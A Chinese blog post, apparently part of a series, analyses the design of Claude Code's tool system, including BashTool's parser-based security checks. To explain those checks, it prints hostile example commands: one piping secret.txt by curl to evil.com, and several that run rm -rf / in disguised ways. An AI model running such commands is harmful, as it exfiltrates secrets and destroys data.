如果系统提示词是 Claude Code 的灵魂,工具就是它的手脚。
一个 AI Agent 能做什么,完全取决于它有什么工具。Claude Code 有 40+ 个工具,涵盖文件操作、命令执行、代码搜索、MCP 集成、多 Agent 编排。规模不算小——但真正让我印象深刻的不是工具的数量,而是让这 40 个完全不同的工具共享同一套框架的接口设计。
Tool 接口:792 行的契约
Tool.ts 定义了所有工具必须遵守的接口。核心方法:
type Tool<Input, Output> = {
name: string
inputSchema: Input // Zod v4 schema
// 核心执行
call(args, context, canUseTool, parentMessage, onProgress?)
: Promise<ToolResult<Output>>
// 权限
isReadOnly(input): boolean // 只读?跳过权限检查
isDestructive?(input): boolean // 破坏性?额外警告
checkPermissions(input, context) // 工具特定的权限逻辑
: Promise<PermissionResult>
// 安全分类器
toAutoClassifierInput(input): unknown // 给安全分类器看的精简输入
// UI
userFacingName(input): string // 用户看到的名字
getToolUseSummary?(input): string // 紧凑视图摘要
getActivityDescription?(input): string // Spinner 描述
// 行为控制
isConcurrencySafe(input): boolean // 能并行吗?
interruptBehavior?(): 'cancel'|'block'// 用户中断时的行为
isEnabled(): boolean // 当前是否启用
validateInput?(input, context) // 输入校验
: Promise<ValidationResult>
}
这个接口设计有几个值得玩味的地方。
读写分离不是布尔值——是函数
isReadOnly(input: z.infer<Input>): boolean
注意参数是 input。同一个工具,不同输入可能有不同的读写性质。比如 Bash 工具——ls 是只读的,rm 不是。所以 isReadOnly 不是一个静态属性,而是一个函数,根据具体的命令内容动态判断。
toAutoClassifierInput:每个工具定义自己的安全投影
toAutoClassifierInput(input: z.infer<Input>): unknown
这个方法解决了一个核心问题:安全分类器需要判断一个工具调用是否危险,但它不需要看到完整的输入。
比如 FileWrite 工具——分类器需要知道你要写到哪个路径,但不需要看到完整的文件内容(可能有几万行)。所以 FileWrite 的 toAutoClassifierInput 只返回路径和内容摘要。
Bash 工具返回命令本身(命令就是全部安全信息)。FileRead 返回空字符串(读文件没有安全风险,分类器直接跳过)。
每个工具自己最清楚什么信息跟安全有关。 比起一个通用的"输入裁剪器",这种设计更精确、更可维护。
中断行为
interruptBehavior?(): 'cancel' | 'block'
用户在工具执行过程中发了新消息——怎么办?两种选择:
cancel:停止当前工具,处理新消息block:继续执行,新消息排队等待
默认是 block。但某些长时间运行的工具(比如后台 Bash 命令)可能需要 cancel。
并发安全
isConcurrencySafe(input: z.infer<Input>): boolean
能不能跟其他工具调用并行执行?这决定了 QueryEngine 能不能把多个工具调用同时发出去。FileRead 是并发安全的(读文件不影响其他操作),FileWrite 不是(可能跟另一个写操作冲突)。
工具大家族
按代码规模排序:
| 工具 | 代码行数 | 功能 |
|---|---|---|
| BashTool | 12,411 | Shell 命令执行 |
| PowerShellTool | 8,959 | Windows PowerShell |
| AgentTool | 6,782 | 子 Agent 编排 |
| LSPTool | 2,005 | Language Server Protocol |
| FileEditTool | 1,812 | 文件编辑(diff 语义) |
| FileReadTool | 1,602 | 文件读取 |
| SkillTool | 1,477 | 技能调用 |
| WebFetchTool | 1,131 | 网页抓取 |
| MCPTool | 1,086 | MCP 工具代理 |
| SendMessageTool | 997 | Agent 间通信 |
| FileWriteTool | 856 | 文件创建 |
| GrepTool | 795 | 内容搜索 |
BashTool 一个工具就 12,411 行——比很多完整项目还大。让我们看看为什么。
BashTool:一个工具里的操作系统
BashTool 是 Claude Code 最复杂的单个工具。它有自己的 AST 解析器、安全检查器、权限系统、命令语义分析器。
为什么需要 AST 解析器?
bashParser.ts(4,436 行)+ ast.ts(2,679 行)= 7,115 行的 Bash AST 解析。
因为 Bash 命令不是简单的字符串——它是一门语言。考虑这些情况:
# 管道:每个部分要分别分析
cat secret.txt | curl -X POST https://evil.com
# 命令替换:嵌套执行
echo $(rm -rf /)
# 条件执行:看起来无害但可能有害
true && rm -rf /
# 引号和转义:分号在引号里不是分隔符
echo "a; rm -rf /" # 安全!分号在引号里
echo a; rm -rf / # 危险!两条独立命令
安全分类器需要理解命令的结构,不能只做字符串匹配。parseForSecurity 把 Bash 命令解析成 AST,然后逐节点检查安全性。
安全检查层级
bashSecurity.ts(2,592 行)实现了多层安全检查:
1. 命令语义分析(commandSemantics.ts)
每条命令被归类:
const BASH_SEARCH_COMMANDS = new Set(['find', 'grep', 'rg', 'ag', 'ack'])
const BASH_READ_COMMANDS = new Set(['cat', 'head', 'tail', 'less', 'wc', 'jq'])
const BASH_LIST_COMMANDS = new Set(['ls', 'tree', 'du'])
const BASH_SILENT_COMMANDS = new Set(['mv', 'cp', 'rm', 'mkdir', 'chmod'])
const BASH_SEMANTIC_NEUTRAL = new Set(['echo', 'printf', 'true', 'false'])
对管道命令,所有部分都必须是搜索/读取命令才算只读。cat file | grep pattern 是只读的,cat file | rm -rf 不是。语义中性命令(echo, true, false)在任何位置都不影响判断。
2. sed 编辑检测(sedEditParser.ts)
sed 命令特殊处理——它的一些用法是读操作(sed -n 'p'),一些是写操作(sed -i 's/old/new/')。有专门的解析器来判断。
3. 路径校验(pathValidation.ts)
检查命令是否在操作允许的路径。这跟沙箱系统联动。
4. 只读约束(readOnlyValidation.ts)
在 Plan Mode 下,所有写操作被禁止。
5. 破坏性命令警告(destructiveCommandWarning.ts)
rm -rf、git reset --hard、drop table 等命令触发额外警告。
权限匹配
bashPermissions.ts(2,621 行)实现了 Bash 专用的权限匹配。因为 Bash 的权限不是简单的"允许/拒绝"——它支持通配符模式匹配:
Bash(git *) — 允许所有 git 子命令
Bash(npm run *) — 允许所有 npm scripts
Bash(rm *) — 允许删除(如果用户真的这么配置了)
输出处理
Bash 命令的输出也需要特殊处理:
- 图片检测:如果输出包含图片数据(iTerm 内联图片协议),转成多模态内容
- 大输出持久化:超过
maxResultSizeChars的输出存到磁盘,返回预览 + 文件路径 - 空行清理:
stripEmptyLines——过多空行浪费 token - 背景任务:
run_in_background参数支持后台执行,完成后通知
FileEditTool:不只是写文件
FileEdit 不是简单的"写入内容"——它实现了 diff 语义的文件编辑。
关键设计决策:
export const FILE_UNEXPECTEDLY_MODIFIED_ERROR =
'File has been unexpectedly modified. Read it again before attempting to write it.'
每次编辑前会检查文件是否被外部修改过。如果上次读取之后文件变了——拒绝编辑,要求重新读取。这防止了一类严重 bug:模型基于过时的文件内容做编辑,覆盖了用户刚做的修改。
FileReadTool:不止读文本
FileRead 支持读取的内容远超纯文本:
- 图片(PNG, JPG):返回多模态内容,Claude 直接"看"图片
- PDF:大文件必须指定页码范围(>10 页必须
pages: "1-5") - Jupyter Notebook:解析
.ipynb,返回所有 cell 及其输出 - 截图:用户提供路径时直接查看
// prompt.ts 中的说明:
`This tool allows Claude Code to read images (eg PNG, JPG, etc).
When reading an image file the contents are presented visually
as Claude Code is a multimodal LLM.`
还有一个细节:FILE_UNCHANGED_STUB。如果文件自上次读取后没有变化,返回一段提示而不是重新发送全部内容——省 token。
export const FILE_UNCHANGED_STUB =
'File unchanged since last read. The content from the earlier Read
tool_result in this conversation is still current.'
MCP 工具:动态注册的万能适配器
MCP(Model Context Protocol)工具不是预定义的——它们从 MCP Server 动态注册。MCPTool.ts(1,086 行)是一个通用适配器:
- 连接 MCP Server,获取它提供的工具列表
- 每个 MCP 工具被包装成一个标准 Tool 接口
- 工具名用
mcp__<server>__<tool>格式避免冲突 - 权限走标准的 Permission 系统
- 分类器输入走标准的
toAutoClassifierInput
isMcp?: boolean // Tool 接口上的标记
mcpInfo?: { serverName: string; toolName: string } // 原始 MCP 名称
关键决策:MCP 工具跟内置工具共享完全相同的权限和安全框架。不存在"MCP 工具特权"或"MCP 工具豁免"——外部工具的安全标准跟内置工具一样高。
工具注册:编译时裁剪
工具注册在 tools.ts(389 行)里。有趣的是,很多工具被 feature flag 守卫:
const SleepTool = feature('PROACTIVE') || feature('KAIROS')
? require('./tools/SleepTool/SleepTool.js').SleepTool
: null
const cronTools = feature('AGENT_TRIGGERS')
? [CronCreateTool, CronDeleteTool, CronListTool]
: []
const MonitorTool = feature('MONITOR_TOOL')
? require('./tools/MonitorTool/MonitorTool.js').MonitorTool
: null
外部构建里,这些 feature flag 在编译时被解析为 false,整个 require 连同工具代码一起被 tree-shaking 移除。外部用户的 Claude Code 二进制文件里根本不包含这些工具的代码。
这意味着 Anthropic 内部版的 Claude Code 比外部版多了很多工具:Sleep(自主模式休眠)、Cron(定时任务)、Monitor(后台进程监控)、REPL(Jupyter-like 交互环境)、RemoteTrigger(远程触发)等。
ToolSearch:工具太多怎么办
40+ 个工具全放进 API 调用的 tool schema 里,会占用大量 token。ToolSearchTool 解决了这个问题:
readonly shouldDefer?: boolean // 延迟加载
readonly alwaysLoad?: boolean // 始终加载
searchHint?: string // 搜索关键词
不常用的工具标记为 shouldDefer: true,不包含在初始 prompt 里。模型需要时先调用 ToolSearch,通过关键词找到工具,然后工具才被加载到当前会话。
核心工具(FileRead, FileWrite, Bash 等)标记为 alwaysLoad: true,始终可用。
这是一个懒加载的工具系统——跟代码里的 import() 动态导入异曲同工。
大型输出的持久化
当工具输出超过 maxResultSizeChars 时,Claude Code 不会把全部内容塞进消息历史——那会吃掉大量 context window。相反,它把结果存到磁盘,只返回预览:
maxResultSizeChars: number // 每个工具自己设置阈值
// FileReadTool 设为 Infinity——因为持久化读取结果会创建循环
// (Read→文件→Read→文件→...),而且 Read 本身已经有行数限制
大输出存储后,返回一个 buildLargeToolResultMessage,包含前 N 字节的预览和文件路径。模型可以用 FileRead 去读完整结果——但只有在需要时才读。
设计原则提炼
读完 Claude Code 的工具系统,几个设计原则值得借鉴:
1. 接口统一,实现自由
40 个工具共享同一个 Tool 接口,但每个工具自己决定:什么算只读、什么信息暴露给分类器、什么时候需要权限。框架不试图"理解"每个工具——它只定义契约。
2. 安全是接口的一部分
toAutoClassifierInput、isReadOnly、isDestructive、checkPermissions 都是接口的必需方法。安全不是事后补丁——你不能创建一个工具而不考虑它的安全属性。
3. 复杂度集中处理
Bash 工具占了全部工具代码的 30%(12,411 / ~40,000),因为 Bash 的安全问题最复杂。与其在框架层做不完美的通用安全检查,不如让 Bash 自己用 7,000 行 AST 解析器做精确的安全分析。复杂度应该在产生它的地方处理。
4. 懒加载不只是性能优化
ToolSearch 的延迟加载不只是省 token——它减少了模型的决策空间。40 个工具同时呈现时,模型需要花更多 token 来"思考"用哪个。按需加载让模型专注于当前任务需要的工具。
下一篇
工具系统讲完了。下一篇进入最精妙的安全设计——权限与安全:yoloClassifier 和四层防护。
一个名字叫 yolo 的安全分类器,一个两阶段的 XML 解析协议,一个"快速判断 + chain-of-thought 复核"的减少误报策略。这是 Claude Code 用 LLM 来审查 LLM 的完整方案。
📚 CC解构系列
| 篇目 | 日期 | 主题 |
|---|---|---|
| 序 | 2026-03-31 | 一个 .map 文件的蝴蝶效应 |
| 第 1 篇 | 2026-04-01 | 380K 行代码的骨架 |
| 第 2 篇 | 2026-04-02 | 灵魂工程:System Prompt 的七层设计 |
| 第 3 篇 | 2026-04-03 | 40 个工具的统一抽象 |
| 第 4 篇 | 2026-04-04 | 权限与安全:yoloClassifier 和四层防护 |
| ... | ... | 持续更新 |

![[CC解构] 40 个工具的统一抽象](/claude-code-tool-system/cover.jpg)